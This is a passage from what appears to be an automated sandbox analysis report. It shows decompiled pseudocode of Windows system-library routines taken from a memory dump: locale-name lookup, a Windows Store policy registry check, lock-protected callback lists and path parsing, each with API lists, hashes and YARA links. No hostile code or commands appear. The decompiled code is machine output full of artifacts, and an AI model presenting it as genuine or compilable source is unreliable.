						_t70 = E6D253B30( *(__edx + 4) & 0x0000ffff,  &_v20);
						L25:
						__eflags = _t70;
						if(_t70 == 0) {
							__eflags = _t115;
							if(_t115 != 0) {
								RtlFreeHeap( *( *[fs:0x30] + 0x18), _t92, _t115);
							}
							goto L39;
						}
						_t110 =  *(_v12 + 0x18);
						__eflags = _t110;
						if(_t110 == 0) {
							L30:
							_t73 = _t92;
							L31:
							__eflags = _t73;
							if(_t73 == 0) {
								L33:
								_v5 = _t92;
								L34:
								__eflags = _t115;
								if(_t115 != 0) {
									RtlFreeHeap( *( *[fs:0x30] + 0x18), _t92, _t115);
								}
								return _v5;
							}
							_t76 = E6D28E490(_v16, _t73);
							_v5 = 1;
							__eflags = _t76;
							if(_t76 == 0) {
								goto L34;
							}
							goto L33;
						}
						_t77 = _a8;
						__eflags = _t77;
						if(_t77 < 0) {
							goto L30;
						}
						_t99 = _t77;
						__eflags = _t99 - (_t110[3] & 0x0000ffff);
						if(_t99 >= (_t110[3] & 0x0000ffff)) {
							goto L30;
						}
						_t73 = _t110[8] +  *(_t110[6] + _t99 * 2) * 2;
						goto L31;
					}
					__eflags = _t67 - _a8;
					if(_t67 != _a8) {
						_t111 =  *(__ecx + 0x18);
						__eflags = _t111;
						if(_t111 == 0) {
							L18:
							_t114 = _t92;
							L19:
							__eflags = _t114;
							if(__eflags != 0) {
								_t67 =  &_v20;
								RtlInitUnicodeString(_t67, _t114);
								__eflags = _t114;
							}
							_t70 = _t67 & 0xffffff00 | __eflags != 0x00000000;
							goto L25;
						}
						_t101 = _t67;
						_t67 = _t111[3] & 0x0000ffff;
						__eflags = _t101 - _t67;
						if(_t101 >= _t67) {
							goto L18;
						}
						_t67 = _t111[8];
						_t114 = _t67 +  *(_t111[6] + _t101 * 2) * 2;
						goto L19;
					}
					return 1;
				}
				_t83 =  *(__edx + 4) & 0x0000ffff;
				if(_t83 == 0) {
					_t84 =  *(__edx + 6) & 0x0000ffff;
					__eflags = _t84;
					if(_t84 < 0) {
						goto L39;
					}
					_t112 =  *(__ecx + 0x18);
					__eflags = _t112;
					if(_t112 != 0) {
						_t103 = _t84;
						__eflags = _t103 - (_t112[3] & 0x0000ffff);
						if(_t103 < (_t112[3] & 0x0000ffff)) {
							_t92 = _t112[8] +  *(_t112[6] + _t103 * 2) * 2;
						}
					}
					__eflags = _t92;
					if(_t92 == 0) {
						goto L39;
					} else {
						RtlInitUnicodeString( &_v20, _t92);
						_t88 = E6D2543C0( &_v20,  &_v12);
						__eflags = _t88;
						if(_t88 == 0) {
							goto L39;
						}
						_t65 = _v12;
						__eflags = _t65 - _a8;
						goto L3;
					}
				} else {
					_t65 = _a8;
					_t118 = _t83 - _t65;
					goto L3;
				}
			}

0x6d2fdf25
0x6d2fdf2a
0x6d2fdf2c
0x6d2fdf2f
0x6d2fdf36
0x6d2fdfae
0x6d2fdfb0
0x6d2fe0c1
0x6d2fe0c3
0x6d2fe0b6
0x6d2fe0b6
0x00000000
0x6d2fe0b6
0x6d2fe0c5
0x6d2fe0c9
0x6d2fe0cc
0x00000000
0x00000000
0x6d2fe0ce
0x6d2fe0d1
0x6d2fe0d8
0x6d2fe0da
0x00000000
0x00000000
0x6d2fe0df
0x6d2fe0e2
0x6d2fdf49
0x00000000
0x6d2fdf49
0x6d2fdfb6
0x6d2fdfba
0x6d2fdfbd
0x6d2fdfc0
0x6d2fe007
0x6d2fe00b
0x00000000
0x00000000
0x6d2fe013
0x6d2fe019
0x6d2fe01b
0x6d2fe01d
0x00000000
0x00000000
0x6d2fe02c
0x6d2fe02f
0x6d2fe036
0x6d2fe03b
0x6d2fe03b
0x6d2fe03d
0x6d2fe0a2
0x6d2fe0a4
0x6d2fe0b1
0x6d2fe0b1
0x00000000
0x6d2fe0a4
0x6d2fe042
0x6d2fe045
0x6d2fe047
0x6d2fe06c
0x6d2fe06c
0x6d2fe06e
0x6d2fe06e
0x6d2fe070
0x6d2fe085
0x6d2fe085
0x6d2fe088
0x6d2fe088
0x6d2fe08a
0x6d2fe098
0x6d2fe098
0x00000000
0x6d2fe09d
0x6d2fe076
0x6d2fe07b
0x6d2fe081
0x6d2fe083
0x00000000
0x00000000
0x00000000
0x6d2fe083
0x6d2fe049
0x6d2fe04d
0x6d2fe050
0x00000000
0x00000000
0x6d2fe052
0x6d2fe059
0x6d2fe05b
0x00000000
0x00000000
0x6d2fe067
0x00000000
0x6d2fe067
0x6d2fdfc2
0x6d2fdfc6
0x6d2fdfcf
0x6d2fdfd2
0x6d2fdfd4
0x6d2fdff0
0x6d2fdff0
0x6d2fdff2
0x6d2fdff2
0x6d2fdff4
0x6d2fdff7
0x6d2fdffb
0x6d2fe000
0x6d2fe000
0x6d2fe002
0x00000000
0x6d2fe002
0x6d2fdfd6
0x6d2fdfd9
0x6d2fdfdd
0x6d2fdfdf
0x00000000
0x00000000
0x6d2fdfe8
0x6d2fdfeb
0x00000000
0x6d2fdfeb
0x00000000
0x6d2fdfc8
0x6d2fdf38
0x6d2fdf3f
0x6d2fdf51
0x6d2fdf55
0x6d2fdf58
0x00000000
0x00000000
0x6d2fdf5e
0x6d2fdf61
0x6d2fdf63
0x6d2fdf65
0x6d2fdf6c
0x6d2fdf6e
0x6d2fdf7a
0x6d2fdf7a
0x6d2fdf6e
0x6d2fdf7d
0x6d2fdf7f
0x00000000
0x6d2fdf85
0x6d2fdf8a
0x6d2fdf97
0x6d2fdf9c
0x6d2fdf9e
0x00000000
0x00000000
0x6d2fdfa4
0x6d2fdfa8
0x00000000
0x6d2fdfa8
0x6d2fdf41
0x6d2fdf43
0x6d2fdf47
0x00000000
0x6d2fdf47

APIs

RtlInitUnicodeString.1105(C000000D,00000000,C000000D,00000000,00000200,?,C000000D,00000001,00000000,?,?,00000000,00000000,6D2571B4,6D2571B4,?), ref: 6D2FDF8A
RtlCultureNameToLCID.1105(C000000D,00000000,C000000D,00000000,C000000D,00000000,00000200,?,C000000D,00000001,00000000,?,?,00000000,00000000,6D2571B4), ref: 6D2FDF97
RtlInitUnicodeString.1105(C000000D,00000000,C000000D,00000000,00000200,?,C000000D,00000001,00000000,?,?,00000000,00000000,6D2571B4,6D2571B4,?), ref: 6D2FDFFB
RtlLCIDToCultureName.1105(?,C000000D,C000000D,00000000,00000200,?), ref: 6D2FE036
_wcsicmp.1105(00000001,00000000,?,C000000D,C000000D,00000000,00000200,?), ref: 6D2FE076
RtlFreeHeap.1105(?,00000000,00000000,?,C000000D,C000000D,00000000,00000200,?), ref: 6D2FE098
RtlFreeHeap.1105(?,00000000,00000000,?,C000000D,C000000D,00000000,00000200,?), ref: 6D2FE0B1

Strings

MUI, xrefs: 6D2FE072

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: CultureFreeHeapInitNameStringUnicode$_wcsicmp
String ID: MUI
API String ID: 3044635390-1339004836
Opcode ID: f6788a1a59de130229dde858da962be91bc58646c2a3c55cd945894b093d2725
Instruction ID: eb0eab365ccdef8103501c5ecf36d31541e65c2e20b4d8912b064163825bfeca
Opcode Fuzzy Hash: f6788a1a59de130229dde858da962be91bc58646c2a3c55cd945894b093d2725
Instruction Fuzzy Hash: F251C0355C411F9ACB15DF588490EBAF7B5FF80B05B408A9DE954EB241EB31C983C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6D27FF9C, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 100
nativeCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E6D27FF9C() {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				void* _v28;
				void* _v36;
				void* _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				signed int _t35;
				signed int _t52;
				char _t57;
				void* _t68;

				_t35 =  *0x6d335c88; // 0x2
				_t68 = 2;
				if(_t35 == _t68) {
					_v12 = 0;
					RtlInitUnicodeString( &_v28, L"\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsStore");
					_v12 = 0;
					_v60 =  &_v28;
					_push( &_v68);
					_push(0x20019);
					_v68 = 0x18;
					_push( &_v12);
					_v64 = 0;
					_v56 = 0x40;
					_v52 = 0;
					_v48 = 0;
					if( *0x6d226cd8() >= 0) {
						_v8 = 0;
						_v16 = 4;
						RtlInitUnicodeString( &_v36, L"AutoDownload");
						if(E6D31F1B5(_v12,  &_v36,  &_v20,  &_v8,  &_v16) < 0 || _v20 != 4 || _v8 != _t68) {
							_v8 = 0;
							_t57 = 4;
							_v16 = _t57;
							RtlInitUnicodeString( &_v44, L"DisableStoreApps");
							if(E6D31F1B5(_v12,  &_v44,  &_v20,  &_v8,  &_v16) < 0 || _v20 != _t57) {
								goto L3;
							} else {
								if(_v8 == 1) {
									goto L9;
								}
							}
						} else {
							L9:
							asm("lock cmpxchg [edx], ecx");
						}
					} else {
						L3:
					}
					asm("lock cmpxchg [edx], esi");
				}
				_t52 =  *0x6d335c88; // 0x2
				return _t52 & 0xffffff00 | _t52 == 0x00000000;
			}

0x6d27ffa1
0x6d27ffae
0x6d27ffb1
0x6d27ffcf
0x6d27ffd2
0x6d27ffdb
0x6d27ffde
0x6d27ffe4
0x6d27ffe5
0x6d27ffed
0x6d27fff4
0x6d27fff5
0x6d27fff8
0x6d27ffff
0x6d280002
0x6d280010
0x6d2bc15d
0x6d2bc161
0x6d2bc168
0x6d2bc187
0x6d2bc1a8
0x6d2bc1ae
0x6d2bc1b5
0x6d2bc1b8
0x6d2bc1d7
0x00000000
0x6d2bc1e6
0x6d2bc1ee
0x00000000
0x6d2bc1f4
0x6d2bc1ee
0x6d2bc194
0x6d2bc199
0x6d2bc19d
0x6d2bc19d
0x6d280016
0x6d280016
0x6d280016
0x6d28001d
0x6d28001d
0x6d27ffb3
0x6d27ffc3

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsStore,?,?,?), ref: 6D27FFD2
ZwOpenKey.1105(?,00020019,?), ref: 6D280005

Strings

\Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsStore, xrefs: 6D27FFC4
@, xrefs: 6D27FFF8
DisableStoreApps, xrefs: 6D2BC1AF
AutoDownload, xrefs: 6D2BC155

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitOpenStringUnicode
String ID: @$AutoDownload$DisableStoreApps$\Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsStore
API String ID: 3946626324-1446860424
Opcode ID: 37fc71b39a16bd42db2a5e1b177f03b405431b6f07c01014e4db1b68cc9ebe70
Instruction ID: 49f2ecce547f80bc670e9afc8b047342d63df97cef0ebbc78e22ad1e36ac75ca
Opcode Fuzzy Hash: 37fc71b39a16bd42db2a5e1b177f03b405431b6f07c01014e4db1b68cc9ebe70
Instruction Fuzzy Hash: 5E315EB2D4521EEFDB11CF99C984AEFBBB8FB49719F10402AE515E6100DB309A45DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D2F3D40, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 98
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E6D2F3D40(intOrPtr __ecx, void** __edx) {
				signed int _v8;
				void** _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* _v24;
				void* _v28;
				char _v29;
				intOrPtr* _v32;
				char _v36;
				char _v37;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t34;
				void* _t37;
				intOrPtr* _t42;
				intOrPtr* _t47;
				intOrPtr* _t48;
				intOrPtr* _t49;
				char _t51;
				void* _t52;
				intOrPtr* _t53;
				void** _t55;
				void _t59;
				char* _t61;
				intOrPtr* _t64;
				void* _t65;
				void** _t67;
				void* _t68;
				signed int _t70;

				_t62 = __edx;
				_t72 = (_t70 & 0xfffffff8) - 0x1c;
				_v8 =  *0x6d33d360 ^ (_t70 & 0xfffffff8) - 0x0000001c;
				_t34 =  &_v28;
				_v20 = __ecx;
				_t67 = __edx;
				_v24 = _t34;
				_t51 = 0;
				_v12 = __edx;
				_v29 = 0;
				_v28 = _t34;
				E6D262280(_t34, 0x6d338a6c);
				_t64 =  *0x6d335768; // 0x6d335768
				if(_t64 != 0x6d335768) {
					while(1) {
						_t8 = _t64 + 8; // 0x6d335770
						_t42 = _t8;
						_t53 = _t64;
						 *_t42 =  *_t42 + 1;
						_v16 = _t42;
						E6D25FFB0(_t53, _t64, 0x6d338a6c);
						_t10 = _t64 + 0xc; // 0x6d23e2b8
						 *0x6d33b1e0(_v24, _t67);
						if( *((intOrPtr*)( *_t10))() != 0) {
							_v37 = 1;
						}
						E6D262280(_t45, 0x6d338a6c);
						_t47 = _v28;
						_t64 =  *_t64;
						 *_t47 =  *_t47 - 1;
						if( *_t47 != 0) {
							goto L8;
						}
						if( *((intOrPtr*)(_t64 + 4)) != _t53) {
							L10:
							_push(3);
							asm("int 0x29");
						} else {
							_t15 = _t53 + 4; // 0x6d335768
							_t48 =  *_t15;
							if( *_t48 != _t53) {
								goto L10;
							} else {
								 *_t48 = _t64;
								_t61 =  &_v36;
								 *((intOrPtr*)(_t64 + 4)) = _t48;
								_t49 = _v32;
								if( *_t49 != _t61) {
									goto L10;
								} else {
									 *_t53 = _t61;
									 *((intOrPtr*)(_t53 + 4)) = _t49;
									 *_t49 = _t53;
									_v32 = _t53;
									goto L8;
								}
							}
						}
						L11:
						_t51 = _v29;
						goto L12;
						L8:
						if(_t64 != 0x6d335768) {
							_t67 = _v20;
							continue;
						}
						goto L11;
					}
				}
				L12:
				E6D25FFB0(_t51, _t64, 0x6d338a6c);
				while(1) {
					_t37 = _v28;
					_t55 =  &_v28;
					if(_t37 == _t55) {
						break;
					}
					if( *((intOrPtr*)(_t37 + 4)) != _t55) {
						goto L10;
					} else {
						_t59 =  *_t37;
						if( *((intOrPtr*)(_t59 + 4)) != _t37) {
							goto L10;
						} else {
							_t62 =  &_v28;
							_v28 = _t59;
							 *((intOrPtr*)(_t59 + 4)) =  &_v28;
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t37);
							continue;
						}
					}
					L18:
				}
				_pop(_t65);
				_pop(_t68);
				_pop(_t52);
				return E6D28B640(_t51, _t52, _v8 ^ _t72, _t62, _t65, _t68);
				goto L18;
			}

0x6d2f3d40
0x6d2f3d48
0x6d2f3d52
0x6d2f3d59
0x6d2f3d5d
0x6d2f3d61
0x6d2f3d63
0x6d2f3d67
0x6d2f3d69
0x6d2f3d72
0x6d2f3d76
0x6d2f3d7a
0x6d2f3d7f
0x6d2f3d8b
0x6d2f3d91
0x6d2f3d91
0x6d2f3d91
0x6d2f3d94
0x6d2f3d96
0x6d2f3d9d
0x6d2f3da1
0x6d2f3da7
0x6d2f3db0
0x6d2f3dba
0x6d2f3dbc
0x6d2f3dbc
0x6d2f3dc6
0x6d2f3dcb
0x6d2f3dcf
0x6d2f3dd1
0x6d2f3dd4
0x00000000
0x00000000
0x6d2f3dd9
0x6d2f3e0c
0x6d2f3e0c
0x6d2f3e0f
0x6d2f3ddb
0x6d2f3ddb
0x6d2f3ddb
0x6d2f3de0
0x00000000
0x6d2f3de2
0x6d2f3de2
0x6d2f3de4
0x6d2f3de8
0x6d2f3deb
0x6d2f3df1
0x00000000
0x6d2f3df3
0x6d2f3df3
0x6d2f3df5
0x6d2f3df8
0x6d2f3dfa
0x00000000
0x6d2f3dfa
0x6d2f3df1
0x6d2f3de0
0x6d2f3e11
0x6d2f3e11
0x00000000
0x6d2f3dfe
0x6d2f3e04
0x6d2f3e06
0x00000000
0x6d2f3e06
0x00000000
0x6d2f3e04
0x6d2f3d91
0x6d2f3e15
0x6d2f3e1a
0x6d2f3e1f
0x6d2f3e1f
0x6d2f3e23
0x6d2f3e29
0x00000000
0x00000000
0x6d2f3e2e
0x00000000
0x6d2f3e30
0x6d2f3e30
0x6d2f3e35
0x00000000
0x6d2f3e37
0x6d2f3e3e
0x6d2f3e42
0x6d2f3e48
0x6d2f3e4e
0x00000000
0x6d2f3e4e
0x6d2f3e35
0x00000000
0x6d2f3e2e
0x6d2f3e5b
0x6d2f3e5c
0x6d2f3e5d
0x6d2f3e68
0x00000000

APIs

RtlAcquireSRWLockExclusive.1105(6D338A6C,?,00000000,00000000,?,?,?,?,?,?,6D2F3CAA,00000000,00008000,?), ref: 6D2F3D7A
RtlReleaseSRWLockExclusive.1105(6D338A6C,6D338A6C,?,00000000,00000000,?,?,?,?,?,?,6D2F3CAA,00000000,00008000,?), ref: 6D2F3DA1
RtlDebugPrintTimes.1105(?,?,6D338A6C,6D338A6C,?,00000000,00000000,?,?,?,?,?,?,6D2F3CAA,00000000,00008000), ref: 6D2F3DB0
RtlAcquireSRWLockExclusive.1105(6D338A6C,?,?,?,?,?,?,6D2F3CAA,00000000,00008000,?), ref: 6D2F3DC6
RtlReleaseSRWLockExclusive.1105(6D338A6C,6D338A6C,?,00000000,00000000,?,?,?,?,?,?,6D2F3CAA,00000000,00008000,?), ref: 6D2F3E1A
RtlFreeHeap.1105(?,00000000,6D338A6C,6D338A6C,6D338A6C,6D338A6C,?,00000000,00000000,?,?,?,?,?,?,6D2F3CAA), ref: 6D2F3E4E

Strings

hW3m, xrefs: 6D2F3DFE
hW3m, xrefs: 6D2F3D85

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireRelease$DebugFreeHeapPrintTimes
String ID: hW3m$hW3m
API String ID: 1017367878-402159694
Opcode ID: e056e675f58e124f99537d075d2069fa559e0c73c5d33c9186cc68c50ff58404
Instruction ID: 4e22c03d32f133b6324229421f0c98ac4b00772725a8c9615620b0bf69f603f2
Opcode Fuzzy Hash: e056e675f58e124f99537d075d2069fa559e0c73c5d33c9186cc68c50ff58404
Instruction Fuzzy Hash: 023199B158938ADFC710CF14C68096AFBF1FF85705F06896EE8A48B251D330D905CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6D264120, Relevance: 13.9, APIs: 9, Instructions: 444
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E6D264120(signed char __ecx, intOrPtr* __edx, signed short* _a4, signed short* _a8, intOrPtr _a12, long* _a16, intOrPtr _a20) {
				signed int _v8;
				signed int _v16;
				signed int _v24;
				char _v532;
				char _v540;
				intOrPtr _v544;
				signed int _v548;
				void* _v552;
				long _v556;
				intOrPtr _v560;
				void* _v564;
				signed char _v568;
				void* _v570;
				long* _v572;
				long _v576;
				signed short* _v580;
				char _v581;
				signed short _v584;
				signed int _v588;
				unsigned int _v596;
				void* _v597;
				void* _v604;
				void* _v605;
				void* _v608;
				void* _v612;
				void* __ebx;
				void* __edi;
				void* __esi;
				char _t161;
				signed int _t162;
				char _t163;
				void* _t169;
				void* _t173;
				signed short _t177;
				void* _t181;
				unsigned int _t182;
				struct _EXCEPTION_RECORD _t184;
				signed int _t185;
				signed int _t213;
				void* _t221;
				signed int _t225;
				short _t233;
				signed char _t234;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int _t250;
				void* _t251;
				void* _t254;
				void* _t255;
				signed int _t256;
				void* _t257;
				long* _t260;
				long _t265;
				signed short* _t269;
				signed short _t271;
				signed char _t272;
				signed short* _t275;
				short* _t282;
				signed short _t283;
				void* _t287;
				signed short _t290;
				short* _t300;
				signed short _t308;
				int _t309;
				int _t311;
				signed short _t312;
				intOrPtr* _t316;
				long _t317;
				void* _t318;
				void* _t320;
				signed short* _t322;
				void* _t323;
				void* _t324;
				void* _t325;
				signed int _t326;
				void* _t327;
				signed int _t328;
				signed int _t330;

				_t330 = (_t328 & 0xfffffff8) - 0x24c;
				_v8 =  *0x6d33d360 ^ _t330;
				_t157 = _a8;
				_t322 = _a4;
				_t316 = __edx;
				_v548 = __ecx;
				_t306 = _a20;
				_v560 = _a12;
				_t260 = _a16;
				_v564 = __edx;
				_v580 = _a8;
				_v572 = _t260;
				_v544 = _a20;
				if( *((short*)(__edx)) <= 8) {
					L3:
					if(_t260 != 0) {
						 *_t260 = 0;
					}
					_t254 =  &_v532;
					_v588 = 0x208;
					if((_v548 & 0x00000001) != 0) {
						_v556 =  *_t316;
						_v552 =  *((intOrPtr*)(_t316 + 4));
						_t161 = E6D27F232( &_v556);
						_t317 = _v556;
						_v540 = _t161;
						goto L17;
					} else {
						_t307 = 0x208;
						_t317 = E6D266E30(_t316, 0x208, _t254, _t260,  &_v581,  &_v540);
						if(_t317 == 0) {
							L68:
							_t323 = 0xc0000033;
							goto L39;
						} else {
							while(_v581 == 0) {
								_t233 = _v588;
								if(_t317 > _t233) {
									_t234 = _v548;
									if((_t234 & 0x00000004) != 0 || (_t234 & 0x00000008) == 0 &&  *((char*)( *[fs:0x30] + 3)) < 0) {
										_t254 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, _t317);
										if(_t254 == 0) {
											_t169 = 0xc0000017;
										} else {
											_v596 = _t317;
											_t307 = _t317;
											_t317 = E6D266E30(_v572, _t317, _t254, _v580, _t330 + 0x1b,  &_v548);
											if(_t317 != 0) {
												continue;
											} else {
												goto L68;
											}
										}
									} else {
										goto L90;
									}
								} else {
									_v556 = _t317;
									 *((short*)(_t330 + 0x32)) = _t233;
									_v552 = _t254;
									if(_t317 < 2) {
										L11:
										if(_t317 < 4 ||  *_t254 == 0 ||  *(_t254 + 2) != 0x3a) {
											_t161 = 5;
										} else {
											if(_t317 < 6) {
												L87:
												_t161 = 3;
											} else {
												_t242 =  *(_t254 + 4) & 0x0000ffff;
												if(_t242 != 0x5c) {
													if(_t242 == 0x2f) {
														goto L16;
													} else {
														goto L87;
													}
													goto L101;
												} else {
													L16:
													_t161 = 2;
												}
											}
										}
									} else {
										_t243 =  *_t254 & 0x0000ffff;
										if(_t243 == 0x5c || _t243 == 0x2f) {
											if(_t317 < 4) {
												L81:
												_t161 = 4;
												goto L17;
											} else {
												_t244 =  *(_t254 + 2) & 0x0000ffff;
												if(_t244 != 0x5c) {
													if(_t244 == 0x2f) {
														goto L60;
													} else {
														goto L81;
													}
												} else {
													L60:
													if(_t317 < 6) {
														L83:
														_t161 = 1;
														goto L17;
													} else {
														_t245 =  *(_t254 + 4) & 0x0000ffff;
														if(_t245 != 0x2e) {
															if(_t245 == 0x3f) {
																goto L62;
															} else {
																goto L83;
															}
														} else {
															L62:
															if(_t317 < 8) {
																L85:
																_t161 = ((0 | _t317 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
																goto L17;
															} else {
																_t250 =  *(_t254 + 6) & 0x0000ffff;
																if(_t250 != 0x5c) {
																	if(_t250 == 0x2f) {
																		goto L64;
																	} else {
																		goto L85;
																	}
																} else {
																	L64:
																	_t161 = 6;
																	goto L17;
																}
															}
														}
													}
												}
											}
											goto L101;
										} else {
											goto L11;
										}
									}
									L17:
									if(_t161 != 2) {
										_t162 = _t161 - 1;
										if(_t162 > 5) {
											goto L18;
										} else {
											switch( *((intOrPtr*)(_t162 * 4 +  &M6D2645F8))) {
												case 0:
													_v568 = 0x6d221078;
													__eax = 2;
													goto L20;
												case 1:
													goto L18;
												case 2:
													_t163 = 4;
													goto L19;
											}
										}
										goto L41;
									} else {
										L18:
										_t163 = 0;
										L19:
										_v568 = 0x6d2211c4;
									}
									L20:
									_v588 = _t163;
									_v564 = _t163 + _t163;
									_t307 =  *_v568 & 0x0000ffff;
									_t265 = _t307 - _v564 + 2 + (_t317 & 0x0000ffff);
									_v576 = _t265;
									if(_t265 > 0xfffe) {
										L90:
										_t323 = 0xc0000106;
									} else {
										if(_t322 != 0) {
											if(_t265 > (_t322[1] & 0x0000ffff)) {
												if(_v580 != 0) {
													goto L23;
												} else {
													_t323 = 0xc0000106;
													goto L39;
												}
											} else {
												_t177 = _t307;
												goto L25;
											}
											goto L101;
										} else {
											if(_v580 == _t322) {
												_t323 = 0xc000000d;
											} else {
												L23:
												_t173 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, _t265);
												_t269 = _v588;
												_t269[2] = _t173;
												if(_t173 == 0) {
													_t323 = 0xc0000017;
												} else {
													_t317 = _v564;
													 *_t269 = 0;
													_t322 = _t269;
													_t269[1] = _v584;
													_t177 =  *_v576 & 0x0000ffff;
													L25:
													_v588 = _t177;
													if(_t177 == 0) {
														L29:
														_t308 =  *_t322 & 0x0000ffff;
													} else {
														_t290 =  *_t322 & 0x0000ffff;
														_v584 = _t290;
														_t311 = _t177 & 0x0000ffff;
														if((_t290 & 0x0000ffff) + _t311 > (_t322[1] & 0x0000ffff)) {
															_t308 =  *_t322 & 0xffff;
														} else {
															_t221 = _t322[2] + ((_v584 & 0x0000ffff) >> 1) * 2;
															_v584 = _t221;
															memmove(_t221,  *(_v576 + 4), _t311);
															_t330 = _t330 + 0xc;
															_t312 = _v588;
															_t225 =  *_t322 + _t312 & 0x0000ffff;
															 *_t322 = _t225;
															if(_t225 + 1 < (_t322[1] & 0x0000ffff)) {
																 *((short*)(_v584 + ((_t312 & 0x0000ffff) >> 1) * 2)) = 0;
															}
															goto L29;
														}
													}
													_t271 = _v564 - _v596 + _v596;
													_v588 = _t308;
													_v584 = _t271;
													if(_t271 != 0) {
														_t309 = _t271 & 0x0000ffff;
														_v596 = _t309;
														if(_t309 + (_t308 & 0x0000ffff) <= (_t322[1] & 0x0000ffff)) {
															_t287 = _t322[2] + ((_v588 & 0x0000ffff) >> 1) * 2;
															_v588 = _t287;
															memmove(_t287, _v560 + _v572, _t309);
															_t330 = _t330 + 0xc;
															_t213 =  *_t322 + _v584 & 0x0000ffff;
															 *_t322 = _t213;
															if(_t213 + 1 < (_t322[1] & 0x0000ffff)) {
																 *((short*)(_v588 + (_v596 >> 1) * 2)) = 0;
															}
														}
													}
													_t272 = _v568;
													if(_t272 != 0) {
														 *_t272 = _t322;
													}
													_t307 = 0;
													 *((short*)(_t322[2] + (( *_t322 & 0x0000ffff) >> 1) * 2)) = 0;
													_t275 = _v580;
													if(_t275 != 0) {
														_t307 =  *_t275;
														if(_t307 != 0) {
															 *_t275 = ( *_v576 & 0x0000ffff) - _v572 - _t254 + _t307 + _t322[2];
														}
													}
													_t181 = _v552;
													if(_t181 != 0) {
														 *_t181 = 0;
														 *((intOrPtr*)(_t181 + 4)) = 0;
														 *((intOrPtr*)(_t181 + 8)) = 0;
														 *((intOrPtr*)(_t181 + 0xc)) = 0;
														if(_v548 == 5) {
															_t182 = E6D2452A5(1);
															_v596 = _t182;
															if(_t182 == 0) {
																E6D25EB70(1, 0x6d3379a0);
																goto L38;
															} else {
																_t184 = _t182 + 0xc;
																_v568 = _t184;
																_t185 = RtlPrefixUnicodeString(_t184,  &_v564, 1);
																if(_t185 == 0) {
																	_t325 = _v608;
																	goto L97;
																} else {
																	_t307 = _v564;
																	_t282 = ( *_v580 & 0x0000ffff) - _v584 + ( *_v588 & 0x0000ffff) + _t322[2];
																	 *((intOrPtr*)(_t307 + 4)) = _t282;
																	_v596 = _t282;
																	_t326 = _t317 -  *_v580 & 0x0000ffff;
																	 *_t307 = _t326;
																	if( *_t282 == 0x5c) {
																		_t149 = _t326 - 2; // -2
																		_t283 = _t149;
																		 *_t307 = _t283;
																		 *((intOrPtr*)(_t307 + 4)) = _v596 + 2;
																		_t185 = _t283 & 0x0000ffff;
																	}
																	_t325 = _v608;
																	 *(_t307 + 2) = _t185;
																	if((_v568 & 0x00000002) == 0) {
																		L97:
																		asm("lock xadd [esi], eax");
																		if((_t185 | 0xffffffff) == 0) {
																			_push( *((intOrPtr*)(_t325 + 4)));
																			E6D2895D0();
																			RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t325);
																		}
																	} else {
																		 *(_t307 + 0xc) = _t325;
																		 *((intOrPtr*)(_t307 + 8)) =  *((intOrPtr*)(_t325 + 4));
																	}
																	goto L38;
																}
															}
															goto L41;
														}
													}
													L38:
													_t323 = 0;
												}
											}
										}
									}
									L39:
									if(_t254 !=  &_v532) {
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t254);
									}
									_t169 = _t323;
								}
								goto L41;
							}
							goto L68;
						}
					}
					L41:
					_pop(_t318);
					_pop(_t324);
					_pop(_t255);
					return E6D28B640(_t169, _t255, _v16 ^ _t330, _t307, _t318, _t324);
				} else {
					_t300 =  *((intOrPtr*)(__edx + 4));
					if( *_t300 == 0x5c) {
						_t256 =  *(_t300 + 2) & 0x0000ffff;
						if(_t256 != 0x5c) {
							if(_t256 != 0x3f) {
								goto L2;
							} else {
								goto L50;
							}
						} else {
							L50:
							if( *((short*)(_t300 + 4)) != 0x3f ||  *((short*)(_t300 + 6)) != 0x5c) {
								goto L2;
							} else {
